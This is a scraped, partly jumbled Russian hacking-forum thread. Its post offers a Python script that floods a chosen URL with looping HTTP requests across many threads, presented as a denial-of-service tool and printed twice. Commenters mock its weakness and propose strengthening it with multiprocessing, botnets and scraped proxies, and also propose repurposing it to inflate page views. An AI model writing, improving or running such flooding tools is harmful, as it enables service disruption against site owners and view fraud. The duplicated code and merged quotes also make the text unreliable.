Можно добавить argv или click чтобы быстро запускать и добавить
(примерно так ./*.py -t * --thread *) )
Код:
#!/usr/bin/env python3
Следуйте инструкциям в видео ниже, чтобы узнать, как установить наш сайт как веб-приложение на главный экран вашего устройства.
Примечание: Эта функция может быть недоступна в некоторых браузерах.
sudo apt update && sudo apt install python3-pip && pip3 install colorama && pip3 install threading && pip3 install requests
import colorama
import threading
import requests
def dos(target):
while True:
try:
res = requests.get(target)
print(colorama.Fore.YELLOW + "Request sent!" + colorama.Fore.WHITE)
except requests.exceptions.ConnectionError:
print(colorama.Fore.RED + "[+] " + colorama.Fore.LIGHTGREEN_EX + "Connection error!")
threads = 20
url = input("URL: ")
try:
threads = int(input("Threads: "))
except ValueError:
exit("Threads count is incorrect!")
if threads == 0:
exit("Threads count is incorrect!")
if not url.__contains__("http"):
exit("URL doesnt contains http or https!")
if not url.__contains__("."):
exit("Invalid domain")
for i in range(0, threads):
thr = threading.Thread(target=dos, args=(url,))
thr.start()
print(str(i + 1) + " thread started!")
import colorama
import threading
import requests
def dos(target):
while True:
try:
res = requests.get(target)
print(colorama.Fore.YELLOW + "Request sent!" + colorama.Fore.WHITE)
except requests.exceptions.ConnectionError:
print(colorama.Fore.RED + "[+] " + colorama.Fore.LIGHTGREEN_EX + "Connection error!")
threads = 20
url = input("URL: ")
try:
threads = int(input("Threads: "))
except ValueError:
exit("Threads count is incorrect!")
if threads == 0:
exit("Threads count is incorrect!")
if not url.__contains__("http"):
exit("URL doesnt contains http or https!")
if not url.__contains__("."):
exit("Invalid domain")
for i in range(0, threads):
thr = threading.Thread(target=dos, args=(url,))
thr.start()
print(str(i + 1) + " thread started!")
Статья читается полностью. Тезисы со ссылками на разделы появятся позже.
#!/usr/bin/env python3
Определено можно. Как я написал в статье:Можно добавить argv или click чтобы быстро запускать и добавить(примерно так ./*.py -t * --thread *) )Код:#!/usr/bin/env python3
Я всего лишь привел пример моей реализации такого типа ПО. Читатели же могут переделать, модифицировать, как хотят, если считает это нужным.Всё в ваших руках.
Как понять сколько? В секунду? В час? Сутки? Десятилетие?И сколько запросов выдает это чудо?
Вопрос неправильно построен.И сколько запросов выдает это чудо?
как может читатель переделать если ты не объяснил что можно переделать и как? никакой инфы по работе реквеста-_-Определено можно. Как я написал в статье:
Я всего лишь привел пример моей реализации такого типа ПО. Читатели же могут переделать, модифицировать, как хотят, если считает это нужным.
Вам прямиком в Googleобъяснить, что такое библиотека реквест и зачем она;
threading (равно как и multiprocessing) — дефолтные модули для питонов, их не нужно ставить через pip. И pip3 install <module1> && pip3 install <module2> && ... режет глаз, install’у можно подавать множественные аргументы как pip3 install <module1> <module2> .... Но это так, просто к слову)Люблю остряков (нет).Вам прямиком в Google
Боюсь спросить, в каком месте вы заметили нарушение этикета?Люблю остряков (нет).
Я сам питонист и свои гуглы оставьте себе.
Человек спросил, что не так, что добавить к посту — именно ему это и адресовано.
А вам прямиком за книжку по манере и этике.
Я сделал через реквест. Зачем мне объяснять как делать по другому, если так все работает.а че не через сокет?
как может читатель переделать если ты не объяснил что можно переделать и как? никакой инфы по работе реквеста-_-
Я вроде написал краткое описание к каждой зависимости. Также описал для чего мы ее будем использовать. Если нужна подробная информация, то для этого действительно лучше подойдёт Google & документация.1) объяснить, что такое библиотека реквест и зачем она;
Эта информация для всех динамична. Как я писал сверху есть куча нюансов. Таких как скорость интернета, мощность атакующего, количество потоков.2) измерить количество отправляемых пакетов в течении нескольких сек-минуты
Обязательно учту. В этой статье я не посчитал это нужным, так как после всё объяснил. Но если нужно каждую строку объяснять для лучшего понятия - будет сделано.3) и вообще хорошим тоном считается комментирование каждой строчки кода.
Я не знал, что можно записать в такой форме, спасибо, учту!pip3 install <module1> <module2> .... Но это так, просто к слову)
Тут тоже вопрос зачем мы в переменную записываем респонс? Мы ведь по факту не используем его. Могу ошибаться в логике работы питона. На сколько ресурсоемка будет процедура присвоения в переменную а потом зачистка этой переменной. Надеюсь меня поправят и подскажут как правильно. Но после того как реквест сформирует объект респонс, лучше его никуда не присваивать и сразу отдать на зачистку из памяти нежели еще какоето время хранить в памяти. особенно если там респонс несколько мегабайт.res = requests.get(target)
Переменная res действительно не нужна. Я забыл ее убрать, во время написания кода. Думал через нее отслеживать доступен ли сервер, а по итогу обошёлся исключением.Вопрос от новичка.
Можно ли как то пропустить ожидание ответа от сервера?
Или же если мы оборвем выполнение реквеста то порвется tcp сессия и сервер не выполнит действий по формированию ответа.
Тут тоже вопрос зачем мы в переменную записываем респонс? Мы ведь по факту не используем его. Могу ошибаться в логике работы питона. На сколько ресурсоемка будет процедура присвоения в переменную а потом зачистка этой переменной. Надеюсь меня поправят и подскажут как правильно. Но после того как реквест сформирует объект респонс, лучше его никуда не присваивать и сразу отдать на зачистку из памяти нежели еще какоето время хранить в памяти. особенно если там респонс несколько мегабайт.
Предоставленным в теме скриптом никто никакой сайт не уложит.Цель этой статьи - написание скрипта для отсылки большого количества пакетов на удаленную машину с целью довести её до отказа.
А ты я так смотрю ты предполагал что в данной статье будет написано о том как использовать низкоуровневые библиотеки в Python, и с их помощью будет разъесняно о том как организовать Smurf-Attack из кода в 1500 строк? Если ты ожидал этого, то увы соболезную тебе. Это был лишь пример того как в общем это работает. И конечно ты тут не найдешь скриптов которые будут ложить Amazon. Хочешь что-то прогрессивное, иди используй какой-нибудь корректированный ApacheBenchmark стресс тест.Очень прогрессивно, request.get в бесконечном цикле? Интересно, автор тестировал сие чудо? Можно попробовать пару часов на ф5 понажимать, тоже дос атака в своем роде.
Ты говоришь что увеличишь количество запросов, при использований Proxy серверов, но по факту это не так, потому что время затраченое на подключение к Proxy, и отправки через него запрос, будет гораздо больше чем если бы ты просто отправлял запросы. Хочешь большое количество запросов, начинай скамить, и собирать Bot-Net. И вообще пиши на C++ чтобы увеличить производительность, это был лишь пример того как это работает, и не более того.Предоставленным в теме скриптом никто никакой сайт не уложит.
Выложенный скрипт вообще не способен атаковать.
Недостатки скрипта следующие:
Автор использует библиотеку threading. Данная библиотека позволяет отправлять запросы в один поток. Попросту каждый последующий поток запускается после окончания предыдущего.
Для усиления атаки следовало воспользоваться модулем multiprocessing, чтобы увеличить количество запросов.
Но даже и с увеличением запросов, работу скрипта невозможно назвать атакой, потому что даже самый слабенький сервер справится с количеством запросов, отказа в обслуживании не произойдёт.
Данный скрипт можно только использовать для проверки прокси на валидность или накрутки просмотров какой-либо темы на форумах ))
Доработка скрипта в этом случае минимальна:
грабим прокси откуда только возможно, записываем их во временный текстовый файл.
посылаем запросы к жертве не напрямую, как в теме, а через награбленные прокси.
В итоге получим список валидных прокси и увеличение просмотров ))
Зачем в скрипте для DOS атаки раскрашивать вывод в консоль - нИпАнятна )
Тему можно переименовать:
Как накрутить просмотры на сайте.
Ну ладно, не кипятись ты так) Роутер то наверное задосил свойА ты я так смотрю ты предполагал что в данной статье будет написано о том как использовать низкоуровневые библиотеки в Python, и с их помощью будет разъесняно о том как организовать Smurf-Attack из кода в 1500 строк? Если ты ожидал этого, то увы соболезную тебе. Это был лишь пример того как в общем это работает. И конечно ты тут не найдешь скриптов которые будут ложить Amazon. Хочешь что-то прогрессивное, иди используй какой-нибудь корректированный ApacheBenchmark стресс тест.
Комментарии
19